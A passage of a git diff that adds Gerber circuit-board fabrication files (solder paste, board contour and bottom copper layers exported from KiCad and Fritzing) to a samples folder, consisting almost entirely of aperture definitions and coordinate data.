+X161975000Y-92600000D03*
+X162625000Y-92600000D03*
+X163275000Y-92600000D03*
+X163925000Y-92600000D03*
+X164575000Y-92600000D03*
+X165225000Y-92600000D03*
+X165225000Y-85400000D03*
+X164575000Y-85400000D03*
+X163925000Y-85400000D03*
+X163275000Y-85400000D03*
+X162625000Y-85400000D03*
+X161975000Y-85400000D03*
+X161325000Y-85400000D03*
+X160675000Y-85400000D03*
+X160025000Y-85400000D03*
+X159375000Y-85400000D03*
+X158725000Y-85400000D03*
+X158075000Y-85400000D03*
+X157425000Y-85400000D03*
+X156775000Y-85400000D03*
+D22*
+X175000000Y-87150000D03*
+X175000000Y-88100000D03*
+X175000000Y-89050000D03*
+X177200000Y-89050000D03*
+X177200000Y-87150000D03*
+D23*
+X184000000Y-86460000D03*
+D24*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D17*
+X174900000Y-94501960D03*
+X174900000Y-96600000D03*
+D15*
+X159000000Y-94600000D03*
+X160500000Y-94600000D03*
+X162350000Y-81100000D03*
+X160850000Y-81100000D03*
+D25*
+X171150000Y-88600000D03*
+X171150000Y-90100000D03*
+X169550000Y-88600000D03*
+X169550000Y-90100000D03*
+X168800000Y-91300000D03*
+X168800000Y-92800000D03*
+X170800000Y-91300000D03*
+X170800000Y-92800000D03*
+X172800000Y-91300000D03*
+X172800000Y-92800000D03*
+X174900000Y-91300000D03*
+X174900000Y-92800000D03*
+X176600000Y-91300000D03*
+X176600000Y-92800000D03*
+D26*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D27*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D28*
+X150800000Y-87100000D03*
+X150800000Y-91600000D03*
+M02*
diff --git a/samples/Gerber Image/GOLMain_RevA-B.Paste.gbp b/samples/Gerber Image/GOLMain_RevA-B.Paste.gbp
new file mode 100644
index 0000000000..31fdc4ff87
--- /dev/null
+++ b/samples/Gerber Image/GOLMain_RevA-B.Paste.gbp	
@@ -0,0 +1,60 @@
+G04 #@! TF.FileFunction,Paste,Bot*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.4-stable) date 03/23/17 03:26:40*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11R,1.100000X2.400000*%
+%ADD12O,1.100000X2.400000*%
+%ADD13R,2.000000X2.032000*%
+%ADD14R,1.727200X2.032000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X153000000Y-135000000D03*
+D12*
+X151000000Y-135000000D03*
+X149000000Y-135000000D03*
+X147000000Y-135000000D03*
+X145000000Y-135000000D03*
+X143000000Y-135000000D03*
+X141000000Y-135000000D03*
+X139000000Y-135000000D03*
+X139000000Y-119000000D03*
+X141000000Y-119000000D03*
+X143000000Y-119000000D03*
+X145000000Y-119000000D03*
+X147000000Y-119000000D03*
+X149000000Y-119000000D03*
+X151000000Y-119000000D03*
+X153000000Y-119000000D03*
+D13*
+X94500000Y-125500000D03*
+X97040000Y-125500000D03*
+X99580000Y-125500000D03*
+X94500000Y-128500000D03*
+X97040000Y-128500000D03*
+X99580000Y-128500000D03*
+X94500000Y-131500000D03*
+X97040000Y-131500000D03*
+X99580000Y-131500000D03*
+X94500000Y-134500000D03*
+X97040000Y-134500000D03*
+X99580000Y-134500000D03*
+X97040000Y-137500000D03*
+X99580000Y-137500000D03*
+D14*
+X94500000Y-140500000D03*
+D13*
+X97040000Y-140500000D03*
+X99580000Y-140500000D03*
+X94500000Y-143500000D03*
+X97040000Y-143500000D03*
+X99580000Y-143500000D03*
+X94500000Y-146500000D03*
+X97040000Y-146500000D03*
+X99580000Y-146500000D03*
+M02*
diff --git a/samples/Text/LIDARLite.ncl b/samples/Gerber Image/LIDARLite.ncl
similarity index 100%
rename from samples/Text/LIDARLite.ncl
rename to samples/Gerber Image/LIDARLite.ncl
diff --git a/samples/Gerber Image/nonaprs_contour.gko b/samples/Gerber Image/nonaprs_contour.gko
new file mode 100644
index 0000000000..7d3def57c9
--- /dev/null
+++ b/samples/Gerber Image/nonaprs_contour.gko	
@@ -0,0 +1,26 @@
+G04 MADE WITH FRITZING*
+G04 WWW.FRITZING.ORG*
+G04 DOUBLE SIDED*
+G04 HOLES PLATED*
+G04 CONTOUR ON CENTER OF CONTOUR VECTOR*
+%ASAXBY*%
+%FSLAX23Y23*%
+%MOIN*%
+%OFA0B0*%
+%SFA1.0B1.0*%
+%ADD10R,1.267940X2.408830*%
+%ADD11C,0.008000*%
+%ADD10C,0.008*%
+%LNCONTOUR*%
+G90*
+G70*
+G54D10*
+G54D11*
+X4Y2405D02*
+X1264Y2405D01*
+X1264Y4D01*
+X4Y4D01*
+X4Y2405D01*
+D02*
+G04 End of contour*
+M02*
\ No newline at end of file
diff --git a/samples/Gerber Image/simonShield-B.Cu.gbr b/samples/Gerber Image/simonShield-B.Cu.gbr
new file mode 100644
index 0000000000..b85303bc1e
--- /dev/null
+++ b/samples/Gerber Image/simonShield-B.Cu.gbr	
@@ -0,0 +1,1277 @@
+G04 #@! TF.FileFunction,Copper,L2,Bot,Signal*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+%ADD12C,0.300000*%
+%ADD13C,1.600000*%
+%ADD14O,1.600000X1.600000*%
+%ADD15R,2.000000X1.524000*%
+%ADD16O,2.000000X1.524000*%
+%ADD17R,1.300000X1.300000*%
+%ADD18C,1.300000*%
+%ADD19C,1.998980*%
+%ADD20R,1.900000X2.000000*%
+%ADD21C,1.900000*%
+%ADD22R,1.727200X1.727200*%
+%ADD23O,1.727200X1.727200*%
+%ADD24C,1.000760*%
+%ADD25C,1.397000*%
+%ADD26C,1.600200*%
+%ADD27C,1.270000*%
+%ADD28C,1.500000*%
+%ADD29C,1.200000*%
+%ADD30C,0.900000*%
+%ADD31C,0.600000*%
+%ADD32C,0.304800*%
+%ADD33C,0.635000*%
+%ADD34C,0.450000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+D12*
+X189307143Y-112775000D02*
+X188592857Y-112775000D01*
+X189450000Y-113203571D02*
+X188950000Y-111703571D01*
+X191107143Y-58571429D01*
+X191178571Y-58714286D01*
+X191321429Y-58857143D01*
+X191535714Y-58928571D01*
+X191892857Y-58928571D01*
+X190392857Y-57428571D02*
+X190392857Y-58642857D01*
+X190321429Y-58785714D01*
+X190250000Y-58857143D01*
+X190107143Y-58928571D01*
+X189821429Y-58928571D01*
+X189678571Y-58857143D01*
+X189607143Y-58785714D01*
+X189535714Y-58642857D01*
+X189535714Y-57428571D01*
+X188821428Y-58357143D02*
+X170107142Y-55928571D01*
+X170392856Y-55928571D01*
+X170535713Y-55857143D01*
+X170678570Y-55714286D01*
+X170749999Y-55428571D01*
+X170749999Y-54928571D01*
+X170678570Y-54642857D01*
+X170535713Y-54500000D01*
+X170392856Y-54428571D01*
+X169107141Y-55928571D02*
+X169107141Y-54428571D01*
+X168249998Y-55928571D01*
+X168249998Y-54428571D01*
+D13*
+X145400000Y-68800000D03*
+D14*
+X145400000Y-58640000D03*
+D15*
+X189230000Y-61468000D03*
+D16*
+X191770000Y-61468000D03*
+X189230000Y-74168000D03*
+X191770000Y-64008000D03*
+X189230000Y-76708000D03*
+X191770000Y-66548000D03*
+X189230000Y-79248000D03*
+X191770000Y-69088000D03*
+X189230000Y-81788000D03*
+X191770000Y-71628000D03*
+X189230000Y-84328000D03*
+X191770000Y-74168000D03*
+X189230000Y-86868000D03*
+X191770000Y-76708000D03*
+X189230000Y-89408000D03*
+X191770000Y-79248000D03*
+X189230000Y-91948000D03*
+X191770000Y-81788000D03*
+X189230000Y-94488000D03*
+X191770000Y-84328000D03*
+X189230000Y-97028000D03*
+X191770000Y-86868000D03*
+X189230000Y-99568000D03*
+X191770000Y-89408000D03*
+X191770000Y-91948000D03*
+X189230000Y-102108000D03*
+X191770000Y-94488000D03*
+X191770000Y-99568000D03*
+X191770000Y-102108000D03*
+X191770000Y-104648000D03*
+X191770000Y-107188000D03*
+X189230000Y-104648000D03*
+X189230000Y-107188000D03*
+X189230000Y-64008000D03*
+X189230000Y-66548000D03*
+X189230000Y-69088000D03*
+X189230000Y-71628000D03*
+X189230000Y-109728000D03*
+X191770000Y-109728000D03*
+X191770000Y-97028000D03*
+D15*
+X118110000Y-61468000D03*
+D16*
+X120650000Y-61468000D03*
+X118110000Y-64008000D03*
+X120650000Y-64008000D03*
+X118110000Y-66548000D03*
+X120650000Y-66548000D03*
+X118110000Y-69088000D03*
+X120650000Y-69088000D03*
+X118110000Y-71628000D03*
+X120650000Y-71628000D03*
+X118110000Y-74168000D03*
+X120650000Y-74168000D03*
+X118110000Y-76708000D03*
+X120650000Y-76708000D03*
+X118110000Y-79248000D03*
+X120650000Y-79248000D03*
+X118110000Y-81788000D03*
+X120650000Y-81788000D03*
+X118110000Y-84328000D03*
+X120650000Y-84328000D03*
+X118110000Y-86868000D03*
+X120650000Y-86868000D03*
+X118110000Y-89408000D03*
+X120650000Y-89408000D03*
+X118110000Y-91948000D03*
+X120650000Y-91948000D03*
+X118110000Y-94488000D03*
+X120650000Y-94488000D03*
+X118110000Y-97028000D03*
+X120650000Y-97028000D03*
+X118110000Y-99568000D03*
+X120650000Y-99568000D03*
+X118110000Y-102108000D03*
+X120650000Y-102108000D03*
+X118110000Y-104648000D03*
+X120650000Y-104648000D03*
+X118110000Y-107188000D03*
+X120650000Y-107188000D03*
+X118110000Y-109728000D03*
+X120650000Y-109728000D03*
+D17*
+X135255000Y-64008000D03*
+D18*
+X135255000Y-61508000D03*
+D19*
+X164465000Y-85471000D03*
+X164465000Y-77851000D03*
+D20*
+X136017000Y-72644000D03*
+D21*
+X133477000Y-72644000D03*
+D20*
+X173863000Y-72644000D03*
+D21*
+X176403000Y-72644000D03*
+D20*
+X136017000Y-96139000D03*
+D21*
+X133477000Y-96139000D03*
+D20*
+X173863000Y-96012000D03*
+D21*
+X176403000Y-96012000D03*
+D22*
+X127007800Y-61542700D03*
+D23*
+X129547800Y-61542700D03*
+X127007800Y-64082700D03*
+X129547800Y-64082700D03*
+D24*
+X166243000Y-67056000D03*
+X164973000Y-68326000D03*
+X164973000Y-65786000D03*
+X128143000Y-71374000D03*
+X129413000Y-72644000D03*
+X126873000Y-72644000D03*
+X181737000Y-73914000D03*
+X180467000Y-72644000D03*
+X183007000Y-72644000D03*
+X128143000Y-94742000D03*
+X129413000Y-96012000D03*
+X126873000Y-96012000D03*
+X181737000Y-97282000D03*
+X180467000Y-96012000D03*
+X183007000Y-96012000D03*
+D19*
+X134239000Y-85344000D03*
+X134239000Y-77724000D03*
+X145415000Y-85344000D03*
+X145415000Y-77724000D03*
+X175641000Y-85217000D03*
+X175641000Y-77597000D03*
+X145415000Y-108966000D03*
+X145415000Y-101346000D03*
+X134239000Y-108458000D03*
+X134239000Y-100838000D03*
+X175641000Y-108585000D03*
+X175641000Y-100965000D03*
+X164465000Y-108839000D03*
+X164465000Y-101219000D03*
+X169164000Y-62611000D03*
+X161544000Y-62611000D03*
+X169164000Y-59563000D03*
+X161544000Y-59563000D03*
+X129921000Y-85217000D03*
+X129921000Y-77597000D03*
+X126365000Y-85217000D03*
+X126365000Y-77597000D03*
+X180086000Y-85217000D03*
+X180086000Y-77597000D03*
+X183515000Y-85217000D03*
+X183515000Y-77597000D03*
+X129921000Y-108458000D03*
+X129921000Y-100838000D03*
+X126365000Y-108458000D03*
+X126365000Y-100838000D03*
+X179959000Y-108585000D03*
+X179959000Y-100965000D03*
+X183515000Y-108585000D03*
+X183515000Y-100965000D03*
+D13*
+X155000000Y-99000000D03*
+D14*
+X155000000Y-88840000D03*
+D25*
+X137287000Y-77724000D03*
+X142367000Y-77724000D03*
+X137287000Y-85344000D03*
+X142367000Y-85344000D03*
+X148463000Y-77724000D03*
+X153543000Y-77724000D03*
+X148463000Y-85344000D03*
+X153543000Y-85344000D03*
+X172593000Y-85344000D03*
+X167513000Y-85344000D03*
+X172593000Y-77724000D03*
+X167513000Y-77724000D03*
+X161417000Y-85344000D03*
+X156337000Y-85344000D03*
+X161417000Y-77724000D03*
+X156337000Y-77724000D03*
+X148463000Y-101219000D03*
+X153543000Y-101219000D03*
+X148463000Y-108839000D03*
+X153543000Y-108839000D03*
+X137287000Y-101219000D03*
+X142367000Y-101219000D03*
+X137287000Y-108839000D03*
+X142367000Y-108839000D03*
+X172593000Y-108712000D03*
+X167513000Y-108712000D03*
+X172593000Y-101092000D03*
+X167513000Y-101092000D03*
+X161417000Y-108712000D03*
+X156337000Y-108712000D03*
+X161417000Y-101092000D03*
+X156337000Y-101092000D03*
+D26*
+X157178971Y-64124429D03*
+X150828971Y-64124429D03*
+D27*
+X137287000Y-80137000D03*
+X137287000Y-83439000D03*
+X148336000Y-79629000D03*
+X148463000Y-83185000D03*
+X172593000Y-80137000D03*
+X172593000Y-83312000D03*
+X161417000Y-80010000D03*
+X161417000Y-83439000D03*
+X137287000Y-103505000D03*
+X137287000Y-106680000D03*
+X172593000Y-103378000D03*
+X172593000Y-106934000D03*
+X148463000Y-103505000D03*
+X148463000Y-106934000D03*
+X161417000Y-103759000D03*
+X161417000Y-106934000D03*
+D28*
+X145400000Y-68800000D02*
+X145400000Y-70800000D01*
+X148800000Y-74200000D02*
+X153200000Y-74200000D01*
+X153200000Y-74200000D02*
+X154947800Y-75947800D01*
+X154947800Y-75947800D02*
+X154947800Y-77858800D01*
+X145400000Y-70800000D02*
+X148800000Y-74200000D01*
+X145400000Y-61508000D02*
+X145400000Y-58640000D01*
+D29*
+X135255000Y-61508000D02*
+X142600000Y-61508000D01*
+X142600000Y-61508000D02*
+X145400000Y-61508000D01*
+X145400000Y-61508000D02*
+X148212542Y-61508000D01*
+X148212542Y-61508000D02*
+X150828971Y-64124429D01*
+D30*
+X118110000Y-64008000D02*
+X116908002Y-64008000D01*
+D28*
+X131147000Y-57400000D02*
+X135255000Y-61508000D01*
+D29*
+X118100000Y-57400000D02*
+X131147000Y-57400000D01*
+D30*
+X116100002Y-59399998D02*
+X118100000Y-57400000D01*
+X116100002Y-63200000D02*
+X116100002Y-59399998D01*
+X116908002Y-64008000D02*
+X116100002Y-63200000D01*
+X167513000Y-101092000D02*
+X167513000Y-108712000D01*
+D31*
+X156337000Y-101092000D02*
+X156337000Y-104037000D01*
+X177103500Y-105300000D02*
+X177998300Y-104405200D01*
+X157600000Y-105300000D02*
+X177103500Y-105300000D01*
+X156337000Y-104037000D02*
+X157600000Y-105300000D01*
+D30*
+X142367000Y-85344000D02*
+X142367000Y-81661000D01*
+D32*
+X142367000Y-81661000D02*
+X142367000Y-81608700D01*
+D28*
+X154947800Y-85598000D02*
+X154947800Y-77858800D01*
+D33*
+X154947800Y-85418700D02*
+X154947800Y-85598000D01*
+X154947800Y-77858800D02*
+X154940000Y-77851000D01*
+X154940000Y-77851000D02*
+X154940000Y-77798700D01*
+D30*
+X167513000Y-85344000D02*
+X167513000Y-81534000D01*
+D32*
+X167513000Y-81534000D02*
+X167520800Y-81534000D01*
+D29*
+X154940000Y-108786700D02*
+X154940000Y-101219000D01*
+D33*
+X154940000Y-101219000D02*
+X154940000Y-101166700D01*
+D29*
+X142367000Y-108839000D02*
+X142367000Y-105029000D01*
+D32*
+X142367000Y-105029000D02*
+X142367000Y-104976700D01*
+D33*
+X153550800Y-108786700D02*
+X154940000Y-108786700D01*
+X154940000Y-108786700D02*
+X156344800Y-108786700D01*
+D30*
+X153550800Y-85418700D02*
+X154947800Y-85418700D01*
+X154947800Y-85418700D02*
+X156344800Y-85418700D01*
+D33*
+X153550800Y-101166700D02*
+X154940000Y-101166700D01*
+X154940000Y-101166700D02*
+X155074800Y-101166700D01*
+X155074800Y-101166700D02*
+X156344800Y-101166700D01*
+D31*
+X174632800Y-98118700D02*
+X173870800Y-97356700D01*
+X173870800Y-97356700D02*
+X173870800Y-96086700D01*
+X132468800Y-104976700D02*
+X142367000Y-104976700D01*
+D32*
+X142367000Y-104976700D02*
+X142374800Y-104976700D01*
+X136024800Y-96086700D02*
+X136024800Y-96856700D01*
+D29*
+X131960800Y-98880700D02*
+X131960800Y-104468700D01*
+D31*
+X132422800Y-98418700D02*
+X131960800Y-98880700D01*
+X134462800Y-98418700D02*
+X132422800Y-98418700D01*
+X136024800Y-96856700D02*
+X134462800Y-98418700D01*
+X131960800Y-104468700D02*
+X132468800Y-104976700D01*
+D29*
+X142374800Y-101166700D02*
+X142374800Y-104976700D01*
+D30*
+X153550800Y-104214700D02*
+X153550800Y-101166700D01*
+X152788800Y-104976700D02*
+X153550800Y-104214700D01*
+D31*
+X142374800Y-104976700D02*
+X152788800Y-104976700D01*
+D32*
+X177426800Y-104976700D02*
+X177998300Y-104405200D01*
+X177998300Y-104405200D02*
+X177934800Y-104468700D01*
+D30*
+X177934800Y-104468700D02*
+X177934800Y-98880700D01*
+X177934800Y-98880700D02*
+X177172800Y-98118700D01*
+D31*
+X177172800Y-98118700D02*
+X174632800Y-98118700D01*
+X173870800Y-73988700D02*
+X173870800Y-72718700D01*
+D30*
+X174632800Y-74750700D02*
+X173870800Y-73988700D01*
+D32*
+X131960800Y-81100700D02*
+X132024300Y-81164200D01*
+D33*
+X132024300Y-81164200D02*
+X132468800Y-81608700D01*
+X131960800Y-75512700D02*
+X131960800Y-81100700D01*
+D30*
+X177172800Y-74750700D02*
+X174632800Y-74750700D01*
+X177934800Y-75512700D02*
+X177172800Y-74750700D01*
+X177934800Y-81100700D02*
+X177934800Y-75512700D01*
+D31*
+X177426800Y-81608700D02*
+X177934800Y-81100700D01*
+D33*
+X132722800Y-74750700D02*
+X131960800Y-75512700D01*
+X135262800Y-74750700D02*
+X132722800Y-74750700D01*
+X136024800Y-73988700D02*
+X135262800Y-74750700D01*
+X136024800Y-72718700D02*
+X136024800Y-73988700D01*
+X132468800Y-81608700D02*
+X142367000Y-81608700D01*
+D32*
+X142367000Y-81608700D02*
+X142374800Y-81608700D01*
+X167520800Y-81608700D02*
+X167520800Y-81534000D01*
+D30*
+X167520800Y-81534000D02*
+X167520800Y-77798700D01*
+D31*
+X157106800Y-81608700D02*
+X167520800Y-81608700D01*
+X167520800Y-81608700D02*
+X177426800Y-81608700D01*
+D33*
+X153550800Y-77798700D02*
+X154940000Y-77798700D01*
+X154940000Y-77798700D02*
+X156344800Y-77798700D01*
+X142374800Y-81608700D02*
+X152788800Y-81608700D01*
+D30*
+X152788800Y-81608700D02*
+X153550800Y-80846700D01*
+X153550800Y-80846700D02*
+X153550800Y-77798700D01*
+X156344800Y-77798700D02*
+X156344800Y-80846700D01*
+X156344800Y-80846700D02*
+X157106800Y-81608700D01*
+X142374800Y-77798700D02*
+X142374800Y-81608700D01*
+D32*
+X133484800Y-72718700D02*
+X133738800Y-72464700D01*
+X133738800Y-72464700D02*
+X133484800Y-72718700D01*
+D29*
+X129420800Y-72718700D02*
+X133484800Y-72718700D01*
+D30*
+X180474800Y-72718700D02*
+X176410800Y-72718700D01*
+X180474800Y-96086700D02*
+X176410800Y-96086700D01*
+D32*
+X166410164Y-67016464D02*
+X166936536Y-67016464D01*
+D30*
+X169235300Y-64717700D02*
+X169235300Y-62558700D01*
+X166936536Y-67016464D02*
+X169235300Y-64717700D01*
+X165140164Y-68286464D02*
+X163616164Y-68286465D01*
+X159552164Y-64222465D02*
+X157266164Y-64222465D01*
+X163616164Y-68286465D02*
+X159552164Y-64222465D01*
+D32*
+X157266164Y-64222465D02*
+X157178971Y-64124429D01*
+X157262972Y-64194429D02*
+X157178971Y-64124429D01*
+D34*
+X128150800Y-75004700D02*
+X128150800Y-71448700D01*
+D33*
+X128658800Y-75512700D02*
+X128150800Y-75004700D01*
+X129420800Y-75512700D02*
+X128658800Y-75512700D01*
+X129928800Y-76020700D02*
+X129420800Y-75512700D01*
+X129928800Y-77544700D02*
+X129928800Y-76020700D01*
+D31*
+X127084050Y-75715950D02*
+X127084050Y-75584050D01*
+X126873000Y-75373000D02*
+X126873000Y-72644000D01*
+X127084050Y-75584050D02*
+X126873000Y-75373000D01*
+D34*
+X128150800Y-76782700D02*
+X127084050Y-75715950D01*
+X127084050Y-75715950D02*
+X126880800Y-75512700D01*
+X128150800Y-79576700D02*
+X128150800Y-76782700D01*
+D30*
+X126372800Y-81354700D02*
+X128150800Y-79576700D01*
+X126372800Y-85164700D02*
+X126372800Y-81354700D01*
+X181744800Y-73988700D02*
+X181744800Y-75004700D01*
+X179966800Y-76020700D02*
+X179966800Y-77290700D01*
+X180474800Y-75512700D02*
+X179966800Y-76020700D01*
+X181236800Y-75512700D02*
+X180474800Y-75512700D01*
+X181744800Y-75004700D02*
+X181236800Y-75512700D01*
+D32*
+X179966800Y-77290700D02*
+X180220800Y-77544700D01*
+D30*
+X183522800Y-85164700D02*
+X183522800Y-81354700D01*
+D34*
+X183014800Y-75512700D02*
+X183014800Y-72718700D01*
+X181744800Y-76782700D02*
+X183014800Y-75512700D01*
+X181744800Y-79576700D02*
+X181744800Y-76782700D01*
+D30*
+X183522800Y-81354700D02*
+X181744800Y-79576700D01*
+D32*
+X179966800Y-100658700D02*
+X180220800Y-100912700D01*
+D31*
+X179966800Y-99388700D02*
+X179966800Y-100658700D01*
+X180474800Y-98880700D02*
+X179966800Y-99388700D01*
+X181236800Y-98880700D02*
+X180474800Y-98880700D01*
+X181744800Y-98372700D02*
+X181236800Y-98880700D01*
+X181744800Y-97356700D02*
+X181744800Y-98372700D01*
+X183515000Y-108585000D02*
+X183515000Y-106115000D01*
+X183600000Y-96605000D02*
+X183007000Y-96012000D01*
+X183600000Y-98100000D02*
+X183600000Y-96605000D01*
+X181700000Y-100000000D02*
+X183600000Y-98100000D01*
+X181700000Y-104300000D02*
+X181700000Y-100000000D01*
+X183515000Y-106115000D02*
+X181700000Y-104300000D01*
+D30*
+X120650000Y-84328000D02*
+X122828000Y-84328000D01*
+D34*
+X127000000Y-88100000D02*
+X131483000Y-88100000D01*
+X131483000Y-88100000D02*
+X134239000Y-85344000D01*
+X125100000Y-88100000D02*
+X123200000Y-86200000D01*
+X123200000Y-86200000D02*
+X123200000Y-84700000D01*
+X123200000Y-84700000D02*
+X122900000Y-84400000D01*
+X127000000Y-88100000D02*
+X125100000Y-88100000D01*
+D30*
+X122828000Y-84328000D02*
+X122900000Y-84400000D01*
+D29*
+X137287000Y-85344000D02*
+X137287000Y-83439000D01*
+X137287000Y-80137000D02*
+X137287000Y-77724000D01*
+D32*
+X137040800Y-85164700D02*
+X137294800Y-85418700D01*
+D29*
+X134246800Y-85164700D02*
+X137040800Y-85164700D01*
+D30*
+X120650000Y-86868000D02*
+X121668000Y-86868000D01*
+D34*
+X123900000Y-89100000D02*
+X122800000Y-88000000D01*
+X141659000Y-89100000D02*
+X145415000Y-85344000D01*
+X141659000Y-89100000D02*
+X123900000Y-89100000D01*
+D30*
+X121668000Y-86868000D02*
+X122800000Y-88000000D01*
+X148463000Y-85344000D02*
+X148463000Y-83185000D01*
+X148463000Y-79502000D02*
+X148463000Y-77724000D01*
+D32*
+X148336000Y-79629000D02*
+X148463000Y-79502000D01*
+D30*
+X148470800Y-85418700D02*
+X145422800Y-85418700D01*
+X120650000Y-91948000D02*
+X123152000Y-91948000D01*
+D34*
+X141100000Y-91300000D02*
+X123800000Y-91300000D01*
+X123800000Y-91300000D02*
+X123300000Y-91800000D01*
+D30*
+X165237000Y-92700000D02*
+X172593000Y-85344000D01*
+X142500000Y-92700000D02*
+X165237000Y-92700000D01*
+D34*
+X142050000Y-92250000D02*
+X142500000Y-92700000D01*
+X142050000Y-92250000D02*
+X141100000Y-91300000D01*
+D30*
+X123152000Y-91948000D02*
+X123300000Y-91800000D01*
+X175641000Y-85217000D02*
+X172720000Y-85217000D01*
+X172720000Y-85217000D02*
+X172593000Y-85344000D01*
+X172593000Y-85344000D02*
+X172593000Y-83312000D01*
+X172593000Y-80137000D02*
+X172593000Y-77724000D01*
+D32*
+X172600800Y-85418700D02*
+X172854800Y-85164700D01*
+D30*
+X120650000Y-89408000D02*
+X122108000Y-89408000D01*
+X122108000Y-89408000D02*
+X122800000Y-90100000D01*
+D34*
+X142100000Y-90100000D02*
+X122800000Y-90100000D01*
+X142100000Y-90100000D02*
+X143000000Y-91000000D01*
+D30*
+X143000000Y-91000000D02*
+X158936000Y-91000000D01*
+X164465000Y-85471000D02*
+X158936000Y-91000000D01*
+D34*
+X122800000Y-90100000D02*
+X122900000Y-90200000D01*
+D30*
+X161417000Y-85344000D02*
+X161417000Y-83439000D01*
+X161417000Y-80010000D02*
+X161417000Y-77724000D01*
+X161424800Y-85418700D02*
+X165234800Y-85418700D01*
+X120650000Y-104648000D02*
+X122548000Y-104648000D01*
+D34*
+X123500000Y-105600000D02*
+X122750000Y-104850000D01*
+X123500000Y-110100000D02*
+X123500000Y-105600000D01*
+X124900000Y-111500000D02*
+X123500000Y-110100000D01*
+D31*
+X131100000Y-111500000D02*
+X124900000Y-111500000D01*
+X131100000Y-111500000D02*
+X134142000Y-108458000D01*
+D30*
+X122548000Y-104648000D02*
+X122750000Y-104850000D01*
+D34*
+X134239000Y-108458000D02*
+X134142000Y-108458000D01*
+D30*
+X137287000Y-108839000D02*
+X137287000Y-106680000D01*
+X137287000Y-103505000D02*
+X137287000Y-101219000D01*
+D32*
+X137040800Y-108532700D02*
+X137294800Y-108786700D01*
+D30*
+X134246800Y-108532700D02*
+X137040800Y-108532700D01*
+D32*
+X120653400Y-104651400D02*
+X120650000Y-104648000D01*
+D30*
+X116100000Y-105700000D02*
+X116100000Y-105400000D01*
+D31*
+X175641000Y-110559000D02*
+X171100000Y-115100000D01*
+X171100000Y-115100000D02*
+X119900000Y-115100000D01*
+X119900000Y-115100000D02*
+X116100000Y-111300000D01*
+X116100000Y-111300000D02*
+X116100000Y-105700000D01*
+X175641000Y-108585000D02*
+X175641000Y-110559000D01*
+D30*
+X116852000Y-104648000D02*
+X118110000Y-104648000D01*
+X116100000Y-105400000D02*
+X116852000Y-104648000D01*
+X172593000Y-108712000D02*
+X172593000Y-106934000D01*
+X172593000Y-103378000D02*
+X172593000Y-101092000D01*
+X175641000Y-108585000D02*
+X172720000Y-108585000D01*
+D32*
+X172720000Y-108585000D02*
+X172593000Y-108712000D01*
+D28*
+X164973000Y-65786000D02*
+X164973000Y-61515307D01*
+X164700000Y-61242307D02*
+X163108164Y-59650464D01*
+X163108164Y-59650464D02*
+X161584164Y-59650465D01*
+X164973000Y-61515307D02*
+X164700000Y-61242307D01*
+D30*
+X129420800Y-96086700D02*
+X133484800Y-96086700D01*
+D32*
+X133738800Y-95832700D02*
+X133484800Y-96086700D01*
+X133484800Y-96086700D02*
+X133738800Y-95832700D01*
+D31*
+X129928800Y-99388700D02*
+X129420800Y-98880700D01*
+X129420800Y-98880700D02*
+X128658800Y-98880700D01*
+X128658800Y-98880700D02*
+X128150800Y-98372700D01*
+X129928800Y-100912700D02*
+X129928800Y-99388700D01*
+D34*
+X128150800Y-98372700D02*
+X128150800Y-94816700D01*
+D28*
+X126372800Y-104722700D02*
+X128150800Y-102944700D01*
+D34*
+X128150800Y-102944700D02*
+X128150800Y-100150700D01*
+X128150800Y-100150700D02*
+X126880800Y-98880700D01*
+D28*
+X126372800Y-108532700D02*
+X126372800Y-104722700D01*
+D31*
+X126880800Y-98880700D02*
+X126880800Y-96086700D01*
+D34*
+X120650000Y-107188000D02*
+X122488000Y-107188000D01*
+D31*
+X141800000Y-112700000D02*
+X145415000Y-109085000D01*
+X141800000Y-112700000D02*
+X124100000Y-112700000D01*
+D34*
+X124100000Y-112700000D02*
+X122600000Y-111200000D01*
+X122600000Y-107300000D02*
+X122600000Y-111200000D01*
+X122488000Y-107188000D02*
+X122600000Y-107300000D01*
+D30*
+X145415000Y-108966000D02*
+X145415000Y-109085000D01*
+X148463000Y-108839000D02*
+X148463000Y-106934000D01*
+X148463000Y-103505000D02*
+X148463000Y-101219000D01*
+X148470800Y-108786700D02*
+X145422800Y-108786700D01*
+D32*
+X145422800Y-108786700D02*
+X144660800Y-108786700D01*
+D30*
+X120650000Y-109728000D02*
+X120650000Y-111350000D01*
+D31*
+X160300000Y-113900000D02*
+X123200000Y-113900000D01*
+X123200000Y-113900000D02*
+X120900000Y-111600000D01*
+X160300000Y-113900000D02*
+X164465000Y-109735000D01*
+D30*
+X120650000Y-111350000D02*
+X120900000Y-111600000D01*
+D34*
+X164465000Y-108839000D02*
+X164465000Y-109735000D01*
+D30*
+X161417000Y-108712000D02*
+X161417000Y-106934000D01*
+X161417000Y-103759000D02*
+X161417000Y-101092000D01*
+X164465000Y-108839000D02*
+X161544000Y-108839000D01*
+D32*
+X161544000Y-108839000D02*
+X161417000Y-108712000D01*
+D29*
+X118110000Y-61468000D02*
+X118110000Y-60190000D01*
+X124665100Y-59200000D02*
+X127007800Y-61542700D01*
+X119100000Y-59200000D02*
+X124665100Y-59200000D01*
+X118110000Y-60190000D02*
+X119100000Y-59200000D01*
+X120650000Y-61468000D02*
+X122968000Y-61468000D01*
+X124882700Y-64082700D02*
+X127007800Y-64082700D01*
+X124000000Y-63200000D02*
+X124882700Y-64082700D01*
